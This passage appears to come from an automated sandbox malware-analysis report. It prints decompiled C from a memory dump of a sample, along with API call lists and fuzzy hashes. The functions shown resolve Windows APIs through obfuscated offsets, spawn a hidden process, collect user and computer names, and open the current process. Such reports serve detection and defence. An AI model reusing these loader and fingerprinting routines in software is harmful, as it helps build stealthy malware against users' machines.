					_t47 =  *0xf0d2a8; // 0x436a5a8
					_t18 = _t47 + 0xf0e3e6; // 0x73797325
					_t68 = E00F03C48(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0xf0d2a8; // 0x436a5a8
						_t19 = _t50 + 0xf0e747; // 0x5278cef
						_t20 = _t50 + 0xf0e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E00F0A62D();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E00F0A62D();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0xf0d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E00F0A734(_t70);
				goto L12;
			}

0x00f08ea9
0x00f08ea9
0x00f08eb8
0x00f08ebf
0x00f08ec4
0x00f08fd1
0x00f08fd8
0x00f08fd8
0x00f08ed3
0x00f08edb
0x00f08ede
0x00f08ee3
0x00f08ef8
0x00f08efe
0x00f08eff
0x00f08f02
0x00f08f08
0x00f08f0b
0x00f08f10
0x00f08f18
0x00f08f24
0x00f08f28
0x00f08fb8
0x00f08f2e
0x00f08f2e
0x00f08f33
0x00f08f3a
0x00f08f4e
0x00f08f52
0x00f08fa1
0x00f08f54
0x00f08f55
0x00f08f5c
0x00f08f75
0x00f08f77
0x00f08f7b
0x00f08f82
0x00f08f9c
0x00f08f84
0x00f08f8d
0x00f08f92
0x00f08f92
0x00f08f82
0x00f08fb0
0x00f08fb0
0x00f08f28
0x00f08fbf
0x00f08fc8
0x00f08fcc
0x00000000

APIs

Part of subcall function 00F0592D: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00F08EBD,?,00000001,?,?,00000000,00000000), ref: 00F05952
Part of subcall function 00F0592D: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00F05974
Part of subcall function 00F0592D: GetProcAddress.KERNEL32(00000000,614D775A), ref: 00F0598A
Part of subcall function 00F0592D: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00F059A0
Part of subcall function 00F0592D: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00F059B6
Part of subcall function 00F0592D: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00F059CC

memset.NTDLL ref: 00F08F0B

Part of subcall function 00F03C48: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,00F08F24,73797325), ref: 00F03C59
Part of subcall function 00F03C48: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 00F03C73

GetModuleHandleA.KERNEL32(4E52454B,05278CEF,73797325), ref: 00F08F41
GetProcAddress.KERNEL32(00000000), ref: 00F08F48
HeapFree.KERNEL32(00000000,00000000), ref: 00F08FB0

Part of subcall function 00F0A62D: GetProcAddress.KERNEL32(36776F57,00F0A2D4), ref: 00F0A648

CloseHandle.KERNEL32(00000000,00000001), ref: 00F08F8D
CloseHandle.KERNEL32(?), ref: 00F08F92
GetLastError.KERNEL32(00000001), ref: 00F08F96

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 6bc420e4ce36104faa9902c894c13849c92745aa9390cf63f07e0a07247c4e99
Instruction ID: 6e9826a12175dea1839cf12273ddfa4fd010d4c1ce25bdf9ff9726cc9d08ad87
Opcode Fuzzy Hash: 6bc420e4ce36104faa9902c894c13849c92745aa9390cf63f07e0a07247c4e99
Instruction Fuzzy Hash: 21314EB2800209EFDB10AFA4CC8899EBBBDEB04354F104565F645A3161D7759D45FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F01BB6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00F01BB6(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0xf0d2a8; // 0x436a5a8
				_t1 = _t9 + 0xf0e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E00F0173D(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E00F0A71F(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E00F064EF(_t34, _t41, _a8);
						E00F0A734(_t41);
						_t42 = E00F06467(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E00F0A734(_t36);
							_t36 = _t42;
						}
						_t43 = E00F017E5(_t36, _t33);
						if(_t43 != 0) {
							E00F0A734(_t36);
							_t36 = _t43;
						}
					}
					E00F0A734(_t28);
				}
				return _t36;
			}

0x00f01bb6
0x00f01bb9
0x00f01bba
0x00f01bc2
0x00f01bc9
0x00f01bd0
0x00f01bd4
0x00f01bda
0x00f01be1
0x00f01be6
0x00f01bf8
0x00f01bfc
0x00f01c00
0x00f01c06
0x00f01c0b
0x00f01c1b
0x00f01c1d
0x00f01c34
0x00f01c38
0x00f01c3b
0x00f01c40
0x00f01c40
0x00f01c49
0x00f01c4d
0x00f01c50
0x00f01c55
0x00f01c55
0x00f01c4d
0x00f01c58
0x00f01c58
0x00f01c63

APIs

Part of subcall function 00F0173D: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,00F01BD0,253D7325,00000000,00000000,74ECC740,?,?,00F020C2,?), ref: 00F017A4
Part of subcall function 00F0173D: sprintf.NTDLL ref: 00F017C5

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,00F020C2,?,052795B0), ref: 00F01BE1
lstrlen.KERNEL32(?,?,?,00F020C2,?,052795B0), ref: 00F01BE9

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

strcpy.NTDLL ref: 00F01C00
lstrcat.KERNEL32(00000000,?), ref: 00F01C0B

Part of subcall function 00F064EF: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,00F01C1A,00000000,?,?,?,00F020C2,?,052795B0), ref: 00F06506

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00F020C2,?,052795B0), ref: 00F01C28

Part of subcall function 00F06467: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,00F01C34,00000000,?,?,00F020C2,?,052795B0), ref: 00F06471
Part of subcall function 00F06467: _snprintf.NTDLL ref: 00F064CF

Strings

=, xrefs: 00F01C22

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: dc172e3943f469a9e677c35d2abfbe706e0d7c0c15a9dd7b16b342143247629a
Instruction ID: 10a435dd3d69d772ec4a1f70de78494cfb104c0294e5258eb13142fb7df31275
Opcode Fuzzy Hash: dc172e3943f469a9e677c35d2abfbe706e0d7c0c15a9dd7b16b342143247629a
Instruction Fuzzy Hash: 1311C23790162977CB12BBB49D85CAF3AADAE457643058115F604DB181DE3CDC02B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00F0592D, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F0592D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E00F0A71F(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0xf0d2a8; // 0x436a5a8
					_t1 = _t23 + 0xf0e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0xf0d2a8; // 0x436a5a8
					_t2 = _t26 + 0xf0e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E00F0A734(_t54);
					} else {
						_t30 =  *0xf0d2a8; // 0x436a5a8
						_t5 = _t30 + 0xf0e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0xf0d2a8; // 0x436a5a8
							_t7 = _t33 + 0xf0e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0xf0d2a8; // 0x436a5a8
								_t9 = _t36 + 0xf0e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0xf0d2a8; // 0x436a5a8
									_t11 = _t39 + 0xf0e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00F06604(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x00f0593c
0x00f05940
0x00f05a02
0x00f05946
0x00f05946
0x00f0594b
0x00f0595e
0x00f05960
0x00f05965
0x00f0596d
0x00f05974
0x00f05976
0x00f0597b
0x00f059fa
0x00f059fb
0x00f0597d
0x00f0597d
0x00f05982
0x00f0598a
0x00f0598c
0x00f05991
0x00000000
0x00f05993
0x00f05993
0x00f05998
0x00f059a0
0x00f059a2
0x00f059a7
0x00000000
0x00f059a9
0x00f059a9
0x00f059ae
0x00f059b6
0x00f059b8
0x00f059bd
0x00000000
0x00f059bf
0x00f059bf
0x00f059c4
0x00f059cc
0x00f059ce
0x00f059d3
0x00000000
0x00f059d5
0x00f059db
0x00f059e0
0x00f059e7
0x00f059ec
0x00f059f1
0x00000000
0x00f059f3
0x00f059f6
0x00f059f6
0x00f059f1
0x00f059d3
0x00f059bd
0x00f059a7
0x00f05991
0x00f0597b
0x00f05a10

APIs

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00F08EBD,?,00000001,?,?,00000000,00000000), ref: 00F05952
GetProcAddress.KERNEL32(00000000,7243775A), ref: 00F05974
GetProcAddress.KERNEL32(00000000,614D775A), ref: 00F0598A
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00F059A0
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00F059B6
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00F059CC

Part of subcall function 00F06604: memset.NTDLL ref: 00F06683

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: c69cd0467713c5eb4df01b7d24b043be675ccd8ea6903da8290e41579c112c9e
Instruction ID: 6b1fbfef1c573458dce51a01750b1edc36a57c41bbd6416686d1f169dc17f17f
Opcode Fuzzy Hash: c69cd0467713c5eb4df01b7d24b043be675ccd8ea6903da8290e41579c112c9e
Instruction Fuzzy Hash: F92148B5600A0AEFD710EFA9CC84D6BB7ECEF047107014666E549C7261E6B4E909BF60

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A199, Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F0A199() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E00F0A71F(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E00F0A734(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0xf01fd4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x00f0a1a7
0x00f0a1aa
0x00f0a1ad
0x00f0a1b3
0x00f0a1b8
0x00f0a1be
0x00f0a1c6
0x00f0a1c9
0x00f0a1cf
0x00f0a1d4
0x00f0a1e1
0x00f0a1ee
0x00f0a1f2
0x00f0a1f4
0x00f0a1f8
0x00f0a1fb
0x00f0a20b
0x00f0a25e
0x00f0a25f
0x00f0a20d
0x00f0a212
0x00f0a213
0x00f0a218
0x00f0a21b
0x00f0a22e
0x00000000
0x00f0a230
0x00f0a233
0x00f0a238
0x00f0a246
0x00f0a249
0x00f0a24f
0x00f0a254
0x00000000
0x00f0a256
0x00f0a256
0x00f0a259
0x00f0a259
0x00f0a254
0x00f0a22e
0x00f0a264
0x00f0a265
0x00f0a1d4
0x00f0a26b

APIs

GetUserNameW.ADVAPI32(00000000,00F01FD2), ref: 00F0A1AD
GetComputerNameW.KERNEL32(00000000,00F01FD2), ref: 00F0A1C9

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

GetUserNameW.ADVAPI32(00000000,00F01FD2), ref: 00F0A203
GetComputerNameW.KERNEL32(00F01FD2,?), ref: 00F0A226
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00F01FD2,00000000,00F01FD4,00000000,00000000,?,?,00F01FD2), ref: 00F0A249

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: dd462d1a9f3ae67cc7dbddf428ebed0208fc39580797b41c28e5805728c8165c
Instruction ID: ee5904744155b1e2bda7c8c4821c8dbcceb467fbce753a97b5552a626aa95b03
Opcode Fuzzy Hash: dd462d1a9f3ae67cc7dbddf428ebed0208fc39580797b41c28e5805728c8165c
Instruction Fuzzy Hash: A621E876D01208FFCB11DFE8C9859EEBBB8FF48304B5044AAE606E7245E6359B44EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F03DE9, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00F03DE9(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00F05AF1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E00F0A81C(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0xf0d128() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x00f03de9
0x00f03df6
0x00f03df8
0x00f03e5b
0x00000000
0x00f03e5b
0x00f03e10
0x00f03e17
0x00f03e23
0x00f03e28
0x00f03e2a
0x00f03e2c
0x00f03e2e
0x00f03e30
0x00f03e32
0x00f03e3e
0x00f03e4e
0x00000000
0x00f03e40
0x00f03e40
0x00f03e47
0x00f03e54
0x00f03e54
0x00f03e54
0x00f03e47
0x00f03e3e
0x00f03e59
0x00000000
0x00000000
0x00f03e5f

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,00F067B8,?,?,00000000,00000000), ref: 00F03E23
ResetEvent.KERNEL32(?), ref: 00F03E28
GetLastError.KERNEL32 ref: 00F03E40
GetLastError.KERNEL32(?,?,00000102,00F067B8,?,?,00000000,00000000), ref: 00F03E5B

Part of subcall function 00F05AF1: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,00F03E08,?,?,?,?,00000102,00F067B8,?,?,00000000), ref: 00F05AFD
Part of subcall function 00F05AF1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00F03E08,?,?,?,?,00000102,00F067B8,?), ref: 00F05B5B
Part of subcall function 00F05AF1: lstrcpy.KERNEL32(00000000,00000000), ref: 00F05B6B

SetEvent.KERNEL32(?), ref: 00F03E4E

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 2943a9b9a90b6fd049089eb6853cbf24b3841b96b5b7734633d4ed2663506500
Instruction ID: bb97344633c86e249ea4ff42d03643e1c70e54ae1989a8bb6c323fccf1346141
Opcode Fuzzy Hash: 2943a9b9a90b6fd049089eb6853cbf24b3841b96b5b7734633d4ed2663506500
Instruction Fuzzy Hash: 17016931504301ABDA316B71DC44F1BBBACBF48B74F214B25F551D10E0D761E918FAA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F03E69, Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F03E69(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0xf0d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0xf0d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0xf0d258 = _t6;
					 *0xf0d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0xf0d254 = _t7;
					if(_t7 == 0) {
						 *0xf0d254 =  *0xf0d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x00f03e71
0x00f03e77
0x00f03e7e
0x00000000
0x00f03ed8
0x00f03e80
0x00f03e88
0x00f03e95
0x00f03e95
0x00f03ed5
0x00000000
0x00f03ed5
0x00f03e97
0x00f03e97
0x00f03e9c
0x00f03eae
0x00f03eb3
0x00f03eb9
0x00f03ebf
0x00f03ec6
0x00f03ec8
0x00f03ec8
0x00000000
0x00f03ecf
0x00f03e91
0x00000000
0x00000000
0x00f03e93
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00F0131F,?,?,00000001,?,?,?,00F04EF2,?), ref: 00F03E71
GetVersion.KERNEL32(?,00000001,?,?,?,00F04EF2,?), ref: 00F03E80
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,00F04EF2,?), ref: 00F03E9C
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,00F04EF2,?), ref: 00F03EB9
GetLastError.KERNEL32(?,00000001,?,?,?,00F04EF2,?), ref: 00F03ED8

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 61695f93a959b5606486cb1865c7aed75425c310a0b7a5d593009561baf410fd
Instruction ID: 3165fb26da2c021edd1a237e2693fcd69cd839cd91185d76e5b2c1fbf5020d1e
Opcode Fuzzy Hash: 61695f93a959b5606486cb1865c7aed75425c310a0b7a5d593009561baf410fd
Instruction Fuzzy Hash: 37F0A970A4030EEBDB209FA4EC09B1A3BA9B780721F10071AE942CB1E4D770C549FB65

Uniqueness

Uniqueness Score: -1.00%

Function 00F06F3A, Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00F06F3A(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0xf0d2a8; // 0x436a5a8
					_t5 = _t103 + 0xf0e038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0xf0c290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0xf0d2a8; // 0x436a5a8
												_t28 = _t109 + 0xf0e0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0xf0d2a8; // 0x436a5a8
														_t33 = _t79 + 0xf0e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x00f06f3f
0x00f06f48
0x00f06f49
0x00f06f4d
0x00f06f53
0x00f06f59
0x00f06f62
0x00f06f68
0x00f06f72
0x00f06f74
0x00f06f7a
0x00f06f7f
0x00f06f8a
0x00f06f90
0x00f06f95
0x00f070b7
0x00f06f9b
0x00f06f9b
0x00f06fa8
0x00f06fae
0x00f06fb4
0x00f06fb8
0x00f06fbe
0x00f06fcb
0x00f06fcf
0x00f06fd5
0x00f06fd8
0x00f06fe0
0x00f06fe1
0x00f06fe5
0x00f06fe9
0x00f06fec
0x00f06fef
0x00f06ff5
0x00f06ffe
0x00f07004
0x00f07005
0x00f07008
0x00f07009
0x00f0700a
0x00f07012
0x00f07013
0x00f07014
0x00f07016
0x00f0701a
0x00f0701e
0x00000000
0x00000000
0x00f07024
0x00f0702d
0x00f07033
0x00f0703d
0x00f07041
0x00f07043
0x00f07050
0x00f07054
0x00f0705c
0x00f07061
0x00f07073
0x00f07075
0x00f0707b
0x00f0707b
0x00f07084
0x00f07084
0x00f07086
0x00f0708c
0x00f0708c
0x00f0708f
0x00f07095
0x00f07098
0x00f070a1
0x00000000
0x00000000
0x00000000
0x00f070a1
0x00f06ff5
0x00f06fef
0x00f06fd8
0x00f070a7
0x00f070a7
0x00f070ad
0x00f070ad
0x00f070b3
0x00f070b3
0x00f070bc
0x00f070c2
0x00f070c2
0x00f06f7f
0x00f070cb

APIs

SysAllocString.OLEAUT32(00F0C290), ref: 00F06F8A
lstrcmpW.KERNEL32(00000000,0076006F), ref: 00F0706B
SysFreeString.OLEAUT32(00000000), ref: 00F07084
SysFreeString.OLEAUT32(?), ref: 00F070B3

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
